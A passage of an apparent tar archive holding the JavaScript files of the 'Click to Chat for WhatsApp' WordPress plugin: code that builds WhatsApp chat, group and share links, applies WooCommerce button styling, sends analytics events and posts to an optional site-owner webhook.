                if (ctc.url_structure_m) {
                    console.log('-- url struture: whatsapp:// --');
                    // whatsapp://.. is selected.
                    base_url = 'whatsapp://send?phone=' + number + '&text=' + pre_filled;
                    // for whatsapp://.. url open target is _self.
                    url_target = '_self';
                }
                // mobile: own url
                if (ctc.custom_url_m && '' !== ctc.custom_url_m) {
                    console.log('custom link');
                    base_url = ctc.custom_url_m;
                }

            } else {
                // desktop
                console.log('-- desktop --');
                if (ctc.url_structure_d) {
                    console.log('-- url struture: web whatsapp --');
                    // web whatsapp is enabled/selected.
                    base_url = 'https://web.whatsapp.com/send' + '?phone=' + number + '&text=' + pre_filled;
                }

                // desktop: own url
                if (ctc.custom_url_d && '' !== ctc.custom_url_d) {
                    console.log('custom link');
                    base_url = ctc.custom_url_d;
                }
            }

            // 3.specs - specs - if popup then add 'pop_window_features' else 'noopener'
            var pop_window_features = 'scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=788,height=514,left=100,top=100';
            var specs = ('popup' == url_target) ? pop_window_features : 'noopener';
            console.log('-- specs: ' + specs + ' --');

            // if ('popup' == url_target) {
            //     var pop_window = window.open(base_url, url_target, specs);
            //     try {
            //         // with some extensions if popup is not opened, popup focus is true - i.e. not calling cache. 
            //         console.log('pop focus try..');
            //         console.log(pop_window);


            //         /**
            //          * if issue it throws error and runs cache. 
            //          * (with some browser blockers it works good as the popup is loaded and it calling cache, 
            //          *   but with browser extension blockers - the popup is not loaded and its not thowing cache, the code continues working.)
            //          */
            //         pop_window.focus();

            //         // for some popup blockers - .focus, .blur, .closed may not works well...  as some blockers pop_window is refering to the same window only.
            //         // if pop_window have ht_ctc_chat_var then it refer to same window. i.e. popup might be blocked. so call createlink
            //         if (pop_window.ht_ctc_chat_var) {
            //             // if true. then its not the real popup whatsapp window. some browser blockers may blocked popup
            //             console.log('ht_ctc_chat_var exists on pop_window variable');
            //             createlink();
            //         }

            //         console.log('pop window focused..');
            //     } catch (e) {
            //         console.log('pop cache');
            //         console.log(e);
            //         createlink();
            //     }
            // } else {
            //     // By adding settimeout works better with some blocker extensions.

            //     // desktop 1ms delay, mobile no settimeout
            //     if (is_mobile == 'yes') {
            //         window.open(base_url, url_target, specs);
            //     } else {
            //         setTimeout(() => {
            //             console.log('normal: window.open - with setimeout 1ms');
            //             window.open(base_url, url_target, specs);
            //         }, 1);
            //     }

            // }

            // function createlink() {
            //     console.log('createlink');
            //     var link = "<a class='ht_ctc_dynamic' style='display:none;' target='_blank' href="+ base_url +"></a>";
            //     $('body').append(link);
            //     $('.ht_ctc_dynamic')[0].click();
            //     $('.ht_ctc_dynamic').remove();
            // }

            window.open(base_url, url_target, specs);

            // number assigned to the clicked element.
            ctc.chat_number = number;

            // analytics
            ht_ctc_chat_analytics(values);

            // hook
            hook(number);

            stop_notification_badge();

        }

        // shortcode
        function shortcode() {
            // shortcode - click
            $(document).on('click', '.ht-ctc-sc-chat', function () {

                /**
                 * @since 4.3 calling ht_ctc_link function directly... 
                 * benficts using global number.. page level settings number, .. random number, .. shortcode number.
                 * url structure.. 
                 */
                // var number = this.hasAttribute('data-number') ? this.getAttribute('data-number') : '';
                // console.log(typeof number);

                // console.log('shortcode number: ' + number);

                // if ('' == number) {
                //     console.log('shortcode: adding global number');
                //     number = ctc.number;
                //     console.log('shortcode: global number: ' + number);
                // }
                
                // var pre_filled = this.getAttribute('data-pre_filled');
                // pre_filled = pre_filled.replace(/\[url]/gi, url);
                // pre_filled = encodeURIComponent(pre_filled);

                // if (ctc.url_structure_d && is_mobile !== 'yes') {
                //     // web.whatsapp - if web api is enabled and is not mobile
                //     window.open('https://web.whatsapp.com/send' + '?phone=' + number + '&text=' + pre_filled, '_blank', 'noopener');
                // } else {
                //     // wa.me
                //     window.open('https://wa.me/' + number + '?text=' + pre_filled, '_blank', 'noopener');
                // }

                // // analytics
                // ctc.chat_number = number;

                // ht_ctc_chat_analytics(this);

                // // webhook
                // hook(number);

                console.log('shortcode click');
                ht_ctc_link(this);

            });
        }

        // custom element
        function custom_link() {

            $(document).on('click', '.ctc_chat, #ctc_chat', function (e) {
                console.log('class/Id: ctc_chat');
                ht_ctc_link(this);

                if ($(this).hasClass('ctc_woo_place')) {
                    // its woo link..
                    e.preventDefault();
                }
            });

            $(document).on('click', '[href="#ctc_chat"]', function (e) {
                console.log('#ctc_chat');
                e.preventDefault();
                ht_ctc_link(this);
            });
        }


        // hook related values..
        var g_hook_v = (ctc.hook_v) ? ctc.hook_v : '';

        // webhooks
        function hook(number) {

            console.log('hook');

            if (ctc.hook_url) {

                var hook_values = {};

                // hook values
                if (ctc.hook_v) {

                    hook_values = (typeof g_hook_v !== "undefined") ? g_hook_v : ctc.hook_v;
                    // var hook_values = ctc.hook_v;

                    console.log(typeof hook_values);
                    console.log(hook_values);

                    var pair_values = {};
                    var i = 1;

                    hook_values.forEach(e => {
                        console.log(i);
                        console.log(e);
                        pair_values['value' + i] = e;
                        i++;
                    });

                    console.log(typeof pair_values);
                    console.log(pair_values);

                    ctc.hook_v = pair_values;
                }

                document.dispatchEvent(
                    new CustomEvent("ht_ctc_event_hook", { detail: { ctc, number } })
                );

                var h_url = ctc.hook_url;
                hook_values = ctc.hook_v;

                console.log(h_url);
                console.log(hook_values);

                if (ctc.webhook_format && 'json' == ctc.webhook_format) {
                    console.log('main hook: json');
                    var data = hook_values;
                } else {
                    console.log('main hook: string');
                    var data = JSON.stringify(hook_values);
                }


                console.log(data);
                console.log(typeof data);


                $.ajax({
                    url: h_url,
                    type: "POST",
                    mode: 'no-cors',
                    data: data,
                    success: function (response) {
                        console.log(response);
                    }
                });

            }


        }



    });

})(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/dev/woo.dev.js000064400000011001147510273110017546 0ustar00/**
 * Click to Chat - woo
 * 
 * currenlty only loads  - if cart layout option is checked and only in woo single product pages only.
 * 
 * @since 3.8
 * 
 * cart layout
 */
(function ($) {

// ready
$(function () {
    
    console.log('woo dev js');
    
    // cart layout
    try {
        if (document.querySelector('.single_add_to_cart_button') || document.querySelector('.add_to_cart_button')) {
            cart_layout();
        } else if (document.querySelector('.ctc_woo_place')) {
            //  && !document.querySelector('.ctc_woo_schedule')
            // in shop page - cart button might not exists, display (might be added display none)
            console.log('woo ctc_woo_place show');
            display_ctc_woo_place();
        }
    } catch (e) {
        console.log('error: cart_layout');
    }

    function display_ctc_woo_place() {
        if (!document.querySelector('.ctc_woo_schedule')) {
            $('.ctc_woo_place').css({
                "display": $('.ctc_woo_place').attr('data-dt')
            });
            $('.ctc_woo_place').show();
        }
    }

    function cart_layout() {

        console.log('inside cart layout');

        let single_cart = document.querySelector('.single_add_to_cart_button');
        let shop_cart = document.querySelector('.add_to_cart_button');
        

        // s1 - single product
        if (document.querySelector('.ctc_woo_single_cart_layout .s1_btn')) {

            console.log('single product - s1 btn exits. ');

            let single_s1 = document.querySelector('.ctc_woo_single_cart_layout .s1_btn');

            var s1_color = $(single_s1).css('color');
            var s1_bg_color = $(single_s1).css('background-color');

            if (single_cart) {
                copyNodeStyle(single_cart, single_s1);

                $(single_s1).css({
                    "display": 'inline-flex',
                    "width": 'fit-content',
                    "align-items": 'center',
                    "color": s1_color,
                    "background-color": s1_bg_color,
                });
            }
            
            display_ctc_woo_place();

        }

        // s1 - shop, archive products
        if (document.querySelector('.ctc_woo_shop_cart_layout .s1_btn')) {

            console.log('shop page - s1 btn exits. ');
            
            let shop_s1 = document.querySelectorAll('.ctc_woo_shop_cart_layout .s1_btn');

            if (shop_cart && shop_s1.length) {

                console.log('cart available');

                var s1_color = $(shop_s1).css('color');
                var s1_bg_color = $(shop_s1).css('background-color');

                shop_s1.forEach(e => {
                    copyNodeStyle(shop_cart, e);
                });

                $(shop_s1).css({
                    "display": 'inline-flex',
                    "width": 'fit-content',
                    "align-items": 'center',
                    "color": s1_color,
                    "background-color": s1_bg_color,
                });
                
            }
            display_ctc_woo_place();
        }

        // s8 - shop, archive products
        if (document.querySelector('.ctc_woo_shop_cart_layout .s_8')) {
            let single_s8 = document.querySelector('.ctc_woo_shop_cart_layout .s_8');
            s8(single_s8);
        }

        // s8 - single product
        if (document.querySelector('.ctc_woo_single_cart_layout .s_8')) {
            let single_s8 = document.querySelector('.ctc_woo_single_cart_layout .s_8');
            s8(single_s8);
        }

        function s8(style) {

            $(style).css({
                // "display": 'inline-flex',
                "min-height": $(single_cart).css('min-height'),
                "font-size": $(single_cart).css('font-size'),
                "font-weight": $(single_cart).css('font-weight'),
                "letter-spacing": $(single_cart).css('letter-spacing'),
                "border-radius": $(single_cart).css('border-radius'),
                "width": 'fit-content',
            });
            display_ctc_woo_place();

        }

        function copyNodeStyle(sourceNode, targetNode) {
            const computedStyle = window.getComputedStyle(sourceNode);
            Array.from(computedStyle).forEach(key => targetNode.style.setProperty(key, computedStyle.getPropertyValue(key), computedStyle.getPropertyPriority(key)))
        }

    }

    


});

}) (jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/dev/app.test.js000064400000026771147510273110017747 0ustar00! function (t) {
    t((function () {
        var e = window.location.href,
            c = void 0 !== document.title ? document.title : "",
            n = void 0 !== screen.width && screen.width > 1024 ? "no" : "yes",
            o = "",
            _ = {};

        function a(t) {
            return !!_[t] && _[t]
        }

        function i(t, e) {
            _[t] = e;
            var c = JSON.stringify(_);
            localStorage.setItem("ht_ctc_storage", c)
        }
        localStorage.getItem("ht_ctc_storage") && (_ = localStorage.getItem("ht_ctc_storage"), _ = JSON.parse(_));
        var s = "";
        if ("undefined" != typeof ht_ctc_chat_var) s = ht_ctc_chat_var, h(), u();
        else {
            try {
                if (document.querySelector(".ht_ctc_chat_data")) {
                    var r = t(".ht_ctc_chat_data").attr("data-settings");
                    s = JSON.parse(r), window.ht_ctc_chat_var = s
                }
            } catch (t) {
                s = {}
            }
            h(), u()
        }

        function h() {
            var e = document.querySelector(".ht_ctc_chat_data");
            e && (o = t(".ht_ctc_chat_data").attr("data-no_number"), e.remove())
        }

        function u() {
            var c;
            document.dispatchEvent(new CustomEvent("ht_ctc_event_settings", {
                detail: {
                    ctc: s
                }
            })), (c = document.querySelector(".ht-ctc-chat")) && (document.dispatchEvent(new CustomEvent("ht_ctc_event_chat")), function (t) {
                "yes" == s.schedule ? document.dispatchEvent(new CustomEvent("ht_ctc_event_display", {
                    detail: {
                        ctc: s,
                        display_chat: g,
                        ht_ctc_chat: t
                    }
                })) : g(t)
            }(c), c.addEventListener("click", (function () {
                t(".ht_ctc_chat_greetings_box").length || v(c)
            })), t(".ht_ctc_chat_greetings_box").length && t(document).on("click", ".ht_ctc_chat_style", (function (e) {
                t(".ht_ctc_chat_greetings_box").hasClass("ctc_greetings_opened") ? l("user_closed") : d("user_opened")
            })), t(document).on("click", ".ctc_greetings_close_btn", (function (t) {
                l("user_closed")
            })), t(document).on("click", ".ht_ctc_chat_greetings_box_link", (function (e) {
                e.preventDefault(), document.querySelector("#ctc_opt") ? t("#ctc_opt").is(":checked") || a("g_optin") ? v(c) : t(".ctc_opt_in").show(400).fadeOut("1").fadeIn("1") : v(c), document.dispatchEvent(new CustomEvent("ht_ctc_event_greetings"))
            })), document.querySelector("#ctc_opt") && t("#ctc_opt").on("change", (function (e) {
                t("#ctc_opt").is(":checked") && (t(".ctc_opt_in").hide(100), i("g_optin", "y"), setTimeout((() => {
                    v(c)
                }), 500))
            }))), t(document).on("click", ".ht-ctc-sc-chat", (function () {
                var t = this.getAttribute("data-number"),
                    c = this.getAttribute("data-pre_filled");
                c = c.replace(/\[url]/gi, e), c = encodeURIComponent(c), s.url_structure_d && "yes" !== n ? window.open("https://web.whatsapp.com/send?phone=" + t + "&text=" + c, "_blank", "noopener") : window.open("https://wa.me/" + t + "?text=" + c, "_blank", "noopener"), p(this), y(t)
            })), t(document).on("click", ".ctc_chat, #ctc_chat", (function (e) {
                v(this), t(this).hasClass("ctc_woo_place") && e.preventDefault()
            })), t(document).on("click", '[href="#ctc_chat"]', (function (t) {
                t.preventDefault(), v(this)
            }))
        }

        function d(e = "open") {
            f(), t(".ctc_cta_stick").remove(), t(".ht_ctc_chat_greetings_box").show(70), t(".ht_ctc_chat_greetings_box").addClass("ctc_greetings_opened").removeClass("ctc_greetings_closed"), i("g_action", e), "user_opened" == e && i("g_user_action", e)
        }

        function l(e = "close") {
            t(".ht_ctc_chat_greetings_box").hide(70), t(".ht_ctc_chat_greetings_box").addClass("ctc_greetings_closed").removeClass("ctc_greetings_opened"), i("g_action", e), "user_closed" == e && i("g_user_action", e)
        }

        function g(t) {
            var e;
            "yes" == n ? "show" == s.dis_m && ((e = document.querySelector(".ht_ctc_desktop_chat")) && e.remove(), t.style.cssText = s.pos_m + s.css, m(t)) : "show" == s.dis_d && ((e = document.querySelector(".ht_ctc_mobile_chat")) && e.remove(), t.style.cssText = s.pos_d + s.css, m(t))
        }

        function m(e) {
            try {
                t(e).show(parseInt(s.se))
            } catch (t) {
                e.style.display = "block"
            } ! function () {
                if (t(".ht_ctc_chat_greetings_box").length) {
                    if (s.g_device) {
                        if ("yes" !== n && "mobile" == s.g_device) return void t(".ht_ctc_chat_greetings_box").remove();
                        if ("yes" == n && "desktop" == s.g_device) return void t(".ht_ctc_chat_greetings_box").remove()
                    }
                    document.dispatchEvent(new CustomEvent("ht_ctc_event_after_chat_displayed", {
                        detail: {
                            ctc: s,
                            greetings_open: d,
                            greetings_close: l
                        }
                    })), s.g_init && "open" == s.g_init && "user_closed" !== a("g_user_action") && d("init"), t(document).on("click", '.ctc_greetings, #ctc_greetings, .ctc_greetings_now, [href="#ctc_greetings"]', (function (t) {
                        t.preventDefault(), l("element"), d("element")
                    }))
                }
            }(),
                function () {
                    if (document.querySelector(".ht_ctc_notification") && "stop" !== a("n_badge")) {
                        if (document.querySelector(".ctc_nb")) {
                            var e = t(".ht_ctc_badge").closest(".ht_ctc_style");
                            t(".ht_ctc_badge").css({
                                top: t(e).find(".ctc_nb").attr("data-nb_top"),
                                right: t(e).find(".ctc_nb").attr("data-nb_right")
                            })
                        }
                        var c = s.n_time ? 1e3 * s.n_time : "150";
                        setTimeout((() => {
                            t(".ht_ctc_notification").show(400)
                        }), c)
                    }
                }(),
                function (e) {
                    var c = t(e).hasClass("ht_ctc_entry_animation") ? 1200 : 120;
                    setTimeout((function () {
                        e.classList.add("ht_ctc_animation", s.ani)
                    }), c), t(".ht-ctc-chat").hover((function () {
                        t(".ht-ctc-chat .ht-ctc-cta-hover").show(120)
                    }), (function () {
                        t(".ht-ctc-chat .ht-ctc-cta-hover").hide(100)
                    }))
                }(e)
        }

        function f() {
            document.querySelector(".ht_ctc_notification") && (i("n_badge", "stop"), t(".ht_ctc_notification").remove())
        }

        function p(t) {
            if (s.analytics && "session" == s.analytics) {
                if (sessionStorage.getItem("ht_ctc_analytics")) return;
                sessionStorage.setItem("ht_ctc_analytics", "done")
            }
            document.dispatchEvent(new CustomEvent("ht_ctc_event_analytics"));
            var n = s.number;
            t.classList.contains("ht-ctc-sc") && (n = t.getAttribute("data-number"));
            var o = "Click to Chat for WhatsApp",
                _ = "chat: " + n,
                a = c + ", " + e;
            if (s.ga || s.ga4)
                if ("undefined" != typeof gtag) s.ga4 ? gtag("event", "click to chat", {
                    number: n,
                    title: c,
                    url: e
                }) : gtag("event", _, {
                    event_category: o,
                    event_label: a
                });
                else if ("undefined" != typeof ga && void 0 !== ga.getAll) {
                    ga.getAll()[0].send("event", o, _, a)
                } else "undefined" != typeof __gaTracker && __gaTracker("send", "event", o, _, a);
            "undefined" != typeof dataLayer && dataLayer.push({
                event: "Click to Chat",
                type: "chat",
                number: n,
                title: c,
                url: e,
                event_category: o,
                event_label: a,
                event_action: _
            }), s.ads && "undefined" != typeof gtag_report_conversion && gtag_report_conversion(), s.fb && "undefined" != typeof fbq && fbq("trackCustom", "Click to Chat by HoliThemes", {
                Category: "Click to Chat for WhatsApp",
                return_type: "chat",
                ID: n,
                Title: c,
                URL: e
            })
        }

        function v(c) {
            document.dispatchEvent(new CustomEvent("ht_ctc_event_number", {
                detail: {
                    ctc: s
                }
            }));
            var _ = s.number,
                a = s.pre_filled;
            c.hasAttribute("data-number") && (_ = c.getAttribute("data-number")), c.hasAttribute("data-pre_filled") && (a = c.getAttribute("data-pre_filled"));
            try {
                a = (a = a.replaceAll("%", "%25")).replace(/\[url]/gi, e), a = encodeURIComponent(decodeURI(a))
            } catch (t) { }
            if ("" != _) {
                var i = "https://wa.me/" + _ + "?text=" + a,
                    r = s.url_target_d ? s.url_target_d : "_blank";
                "yes" == n ? (s.url_structure_m && (i = "whatsapp://send?phone=" + _ + "&text=" + a, r = "_self"), s.custom_url_m && "" !== s.custom_url_m && (i = s.custom_url_m)) : (s.url_structure_d && (i = "https://web.whatsapp.com/send?phone=" + _ + "&text=" + a), s.custom_url_d && "" !== s.custom_url_d && (i = s.custom_url_d));
                var h = "popup" == r ? "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=788,height=514,left=100,top=100" : "noopener";
                window.open(i, r, h), p(c), y(_), f()
            } else t(".ht-ctc-chat").html(o)
        }
        var b = s.hook_v ? s.hook_v : "";

        function y(e) {
            if (s.hook_url) {
                var c = {};
                if (s.hook_v) {
                    c = void 0 !== b ? b : s.hook_v;
                    var n = {},
                        o = 1;
                    c.forEach((t => {
                        n["value" + o] = t, o++
                    })), s.hook_v = n
                }
                document.dispatchEvent(new CustomEvent("ht_ctc_event_hook", {
                    detail: {
                        ctc: s,
                        number: e
                    }
                }));
                var _ = s.hook_url;
                if (c = s.hook_v, s.webhook_format && "json" == s.webhook_format) var a = c;
                else a = JSON.stringify(c);
                t.ajax({
                    url: _,
                    type: "POST",
                    mode: "no-cors",
                    data: a,
                    success: function (t) { }
                })
            }
        }
    }))
}(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/dev/group.dev.js000064400000012156147510273110020112 0ustar00// Click to Chat - Group
(function ($) {

// ready
$(function () {

var url = window.location.href;
var is_mobile = (typeof screen.width !== "undefined" && screen.width > 1024) ? "no" : "yes";
var post_title = (typeof document.title !== "undefined" ) ? document.title : '';

function group_ht_ctc() {
    var ht_ctc_group = document.querySelector('.ht-ctc-group');
    if (ht_ctc_group) {

        group_display(ht_ctc_group);

        // click
        ht_ctc_group.addEventListener('click', function () {
            
            // link
            var base_link = 'https://chat.whatsapp.com/';
            var group_id = ht_ctc_group.getAttribute('data-group_id');
            window.open(base_link + group_id, '_blank', 'noopener');

            // analytics
            group_analytics(ht_ctc_group);
        });
    }

    // shortcode - click
    $(document).on('click', '.ht-ctc-sc-group', function () {

        data_link = this.getAttribute("data-ctc-link");
        data_link = encodeURI(data_link);
        window.open(data_link, '_blank', 'noopener');

        group_analytics(this);

    });

}
group_ht_ctc();

// Hide based on device
function group_display(p) {
    if (is_mobile == 'yes') {
        var display_mobile = p.getAttribute('data-display_mobile');
        if ('show' == display_mobile) {

            // remove desktop style
            var rm = document.querySelector('.ht_ctc_desktop_group');
            (rm) ? rm.remove() : '';

            var css = p.getAttribute('data-css');
            var position_mobile = p.getAttribute('data-position_mobile');
            p.style.cssText = position_mobile + css;
            display(p)
        }
    } else {
        var display_desktop = p.getAttribute('data-display_desktop');
        if ('show' == display_desktop) {

            // remove mobile style
            var rm = document.querySelector('.ht_ctc_mobile_group');
            (rm) ? rm.remove() : '';

            var css = p.getAttribute('data-css');
            var position = p.getAttribute('data-position');
            p.style.cssText = position + css;
            display(p)
        }
    }
}

/**
 * display
 * animations
 * cta hover effects
 */
function display(p) {
    // p.style.display = "block";
    try {
        var dt = parseInt(p.getAttribute('data-show_effect'));
        $(p).show(dt);
    } catch (e) {
        p.style.display = "block";
    }

    // animations
    var animateclass = p.getAttribute('data-an_type')
    var an_time = ($(p).hasClass('ht_ctc_entry_animation')) ? 1200 : 120;

    setTimeout(function () {
        p.classList.add('ht_ctc_animation', animateclass);
    }, an_time);

    // cta hover effects
    $(".ht-ctc-group").hover(function () {
        $('.ht-ctc-group .ht-ctc-cta-hover').show(220);
    }, function () {
        $('.ht-ctc-group .ht-ctc-cta-hover').hide(100);
    });

}

// analytics
function group_analytics(values) {

    console.log('group analytics');

    var id = values.getAttribute('data-group_id');

    // Google Analytics
    var ga_category = 'Click to Chat for WhatsApp';
    var ga_action = 'group: ' + id;
    var ga_label = post_title + ', ' + url;

    // if ga_enabled
    if ('yes' == values.getAttribute('data-is_ga_enable')) {
        console.log('google analytics');
        if (typeof gtag !== "undefined") {
            console.log('gtag');
            gtag('event', ga_action, {
                'event_category': ga_category,
                'event_label': ga_label,
            });
        } else if (typeof ga !== "undefined" && typeof ga.getAll !== "undefined") {
            console.log('ga');
            var tracker = ga.getAll();
            tracker[0].send("event", ga_category, ga_action, ga_label);
            // ga('send', 'event', ga_category, ga_action, ga_label);
        } else if (typeof __gaTracker !== "undefined") {
            console.log('__gaTracker');
            __gaTracker('send', 'event', ga_category, ga_action, ga_label);
        }
    }

    // dataLayer
    if (typeof dataLayer !== "undefined") {
        console.log('dataLayer');
        dataLayer.push({
            'event': 'Click to Chat',
            'event_category': ga_category,
            'event_label': ga_label,
            'event_action': ga_action
        });
    }

    // google ads - call conversation code
    if ('yes' == values.getAttribute('data-ga_ads')) {
        console.log('google ads enabled');
        if (typeof gtag_report_conversion !== "undefined") {
            console.log('calling gtag_report_conversion');
            gtag_report_conversion();
        }
    }

    // FB Pixel
    if ('yes' == values.getAttribute('data-is_fb_pixel')) {
        console.log('fb pixel');
        if (typeof fbq !== "undefined") {
            fbq('trackCustom', 'Click to Chat by HoliThemes', {
                'Category': 'Click to Chat for WhatsApp',
                'return_type': 'group',
                'ID': id,
                'Title': post_title,
                'URL': url
            });
        }
    }
}

});

})(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/dev/share.dev.js000064400000013030147510273110020050 0ustar00// Click to Chat - Share
(function ($) {

// ready
$(function () {

var url = window.location.href;
var is_mobile = (typeof screen.width !== "undefined" && screen.width > 1024) ? "no" : "yes";
var post_title = (typeof document.title !== "undefined" ) ? document.title : '';

function share_ht_ctc() {
    var ht_ctc_share = document.querySelector('.ht-ctc-share');
    if (ht_ctc_share) {
        share_display(ht_ctc_share);
        ht_ctc_share.addEventListener('click', function () {
            ht_ctc_share_click(ht_ctc_share);
        });
    }

    // shortcode
    $(document).on('click', '.ht-ctc-sc-share', function () {

        data_link = this.getAttribute("data-ctc-link");
        data_link = encodeURI(data_link);
        window.open(data_link, '_blank', 'noopener');
        // analytics
        share_analytics(this);

    });

}
share_ht_ctc();

// Hide based on device
function share_display(p) {
    if (is_mobile == 'yes') {
        var display_mobile = p.getAttribute('data-display_mobile');
        if ('show' == display_mobile) {

            // remove desktop style
            var rm = document.querySelector('.ht_ctc_desktop_share');
            (rm) ? rm.remove() : '';

            var css = p.getAttribute('data-css');
            var position_mobile = p.getAttribute('data-position_mobile');
            p.style.cssText = position_mobile + css;
            display(p)
        }
    } else {
        var display_desktop = p.getAttribute('data-display_desktop');
        if ('show' == display_desktop) {

            // remove mobile style
            var rm = document.querySelector('.ht_ctc_mobile_share');
            (rm) ? rm.remove() : '';

            var css = p.getAttribute('data-css');
            var position = p.getAttribute('data-position');
            p.style.cssText = position + css;
            display(p)
        }
    }
}

function display(p) {
    // p.style.display = "block";
    try {
        var dt = parseInt(p.getAttribute('data-show_effect'));
        $(p).show(dt);
    } catch (e) {
        p.style.display = "block";
    }

    // hover effect
    ht_ctc_share_things(p);
}

function ht_ctc_share_things(p) {

    // animations
    var animateclass = p.getAttribute('data-an_type')
    var an_time = ($(p).hasClass('ht_ctc_entry_animation')) ? 1200 : 120;
    
    setTimeout(function () {
        p.classList.add('ht_ctc_animation', animateclass);
    }, an_time);

    // hover effects
    $(".ht-ctc-share").hover(function () {
        $('.ht-ctc-share .ht-ctc-cta-hover').show(220);
    }, function () {
        $('.ht-ctc-share .ht-ctc-cta-hover').hide(100);
    });
}


// floating style - click
function ht_ctc_share_click(values) {
    // link
    share_link(values);
    // analytics
    share_analytics(values)
}

// analytics 
function share_analytics(values) {
    
    console.log('share analytics');

    var id = values.getAttribute('data-share_text');

    // Google Analytics
    var ga_category = 'Click to Chat for WhatsApp';
    var ga_action = 'share: ' + id;
    var ga_label = post_title + ', ' + url;
    
    // if ga_enabled
    if ( 'yes' == values.getAttribute('data-is_ga_enable') ) {
        console.log('google analytics');
        if (typeof gtag !== "undefined") {
            console.log('gtag');
            gtag('event', ga_action, {
                'event_category': ga_category,
                'event_label': ga_label,
            });
        } else if (typeof ga !== "undefined" && typeof ga.getAll !== "undefined") {
            console.log('ga');
            var tracker = ga.getAll();
            tracker[0].send("event", ga_category, ga_action, ga_label);
            // ga('send', 'event', ga_category, ga_action, ga_label);
        } else if (typeof __gaTracker !== "undefined") {
            console.log('__gaTracker');
            __gaTracker('send', 'event', ga_category, ga_action, ga_label);
        }
    }

    // dataLayer
    if (typeof dataLayer !== "undefined") {
        console.log('dataLayer');
        dataLayer.push({
            'event': 'Click to Chat',
            'event_category': ga_category,
            'event_label': ga_label,
            'event_action': ga_action
        });
    }

    // google ads - call conversation code
    if ('yes' == values.getAttribute('data-ga_ads')) {
        console.log('google ads enabled');
        if (typeof gtag_report_conversion !== "undefined") {
            console.log('calling gtag_report_conversion');
            gtag_report_conversion();
        }
    }

    // FB Pixel
    if ( 'yes' == values.getAttribute('data-is_fb_pixel') ) {
        console.log('fb pixel');
        if (typeof fbq !== "undefined") {
            fbq('trackCustom', 'Click to Chat by HoliThemes', {
                'Category': 'Click to Chat for WhatsApp',
                'return_type': 'share',
                'ID': id,
                'Title': post_title,
                'URL': url
            });
        }
    }
    
}

// link share
function share_link(values) {

    var share_text = values.getAttribute('data-share_text');
    var webandapi = values.getAttribute('data-webandapi');
    // web/api.whatsapp or api.whatsapp
    var share_nav = "api";
    if ('webapi' == webandapi) {
        share_nav = (is_mobile == 'yes') ? "api" : "web";
    }
    var base_link = 'https://' + share_nav + '.whatsapp.com/send';
    window.open(base_link + '?text=' + share_text, '_blank', 'noopener');
}

});

})(jQuery);click-to-chat-for-whatsapp/new/inc/assets/js/group.js000064400000004176147510273110016562 0ustar00!function(u){u(function(){var t,e,a,o,n,i=window.location.href,c=void 0!==screen.width&&1024<screen.width?"no":"yes",r=void 0!==document.title?document.title:"";function d(e){try{var t=parseInt(e.getAttribute("data-show_effect"));u(e).show(t)}catch(t){e.style.display="block"}var a=e.getAttribute("data-an_type"),o=u(e).hasClass("ht_ctc_entry_animation")?1200:120;setTimeout(function(){e.classList.add("ht_ctc_animation",a)},o),u(".ht-ctc-group").hover(function(){u(".ht-ctc-group .ht-ctc-cta-hover").show(220)},function(){u(".ht-ctc-group .ht-ctc-cta-hover").hide(100)})}function s(t){var e=t.getAttribute("data-group_id"),a="Click to Chat for WhatsApp",o="group: "+e,n=r+", "+i;"yes"==t.getAttribute("data-is_ga_enable")&&("undefined"!=typeof gtag?gtag("event",o,{event_category:a,event_label:n}):"undefined"!=typeof ga&&void 0!==ga.getAll?ga.getAll()[0].send("event",a,o,n):"undefined"!=typeof __gaTracker&&__gaTracker("send","event",a,o,n)),"undefined"!=typeof dataLayer&&dataLayer.push({event:"Click to Chat",event_category:a,event_label:n,event_action:o}),"yes"==t.getAttribute("data-ga_ads")&&"undefined"!=typeof gtag_report_conversion&&gtag_report_conversion(),"yes"==t.getAttribute("data-is_fb_pixel")&&"undefined"!=typeof fbq&&fbq("trackCustom","Click to Chat by HoliThemes",{Category:"Click to Chat for WhatsApp",return_type:"group",ID:e,Title:r,URL:i})}(n=document.querySelector(".ht-ctc-group"))&&(t=n,"yes"==c?"show"==t.getAttribute("data-display_mobile")&&((o=document.querySelector(".ht_ctc_desktop_group"))&&o.remove(),a=t.getAttribute("data-css"),e=t.getAttribute("data-position_mobile"),t.style.cssText=e+a,d(t)):"show"==t.getAttribute("data-display_desktop")&&((o=document.querySelector(".ht_ctc_mobile_group"))&&o.remove(),a=t.getAttribute("data-css"),o=t.getAttribute("data-position"),t.style.cssText=o+a,d(t)),n.addEventListener("click",function(){var t=n.getAttribute("data-group_id");window.open("https://chat.whatsapp.com/"+t,"_blank","noopener"),s(n)})),u(document).on("click",".ht-ctc-sc-group",function(){data_link=this.getAttribute("data-ctc-link"),data_link=encodeURI(data_link),window.open(data_link,"_blank","noopener"),s(this)})})}(jQuery);click-to-chat-for-whatsapp/new/inc/assets/fonts/ccw.svg000064400000010173147510273110017074 0ustar00<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >
<svg xmlns="http://www.w3.org/2000/svg">
<metadata>Generated by IcoMoon</metadata>
<defs>
<font id="ccw" horiz-adv-x="1024">
<font-face units-per-em="1024" ascent="960" descent="-64" />
<missing-glyph horiz-adv-x="1024" />
<glyph unicode="&#x20;" horiz-adv-x="512" d="" />
<glyph unicode="&#xe900;" glyph-name="send" d="M64 64v298l640 86-640 86v298l896-384z" />
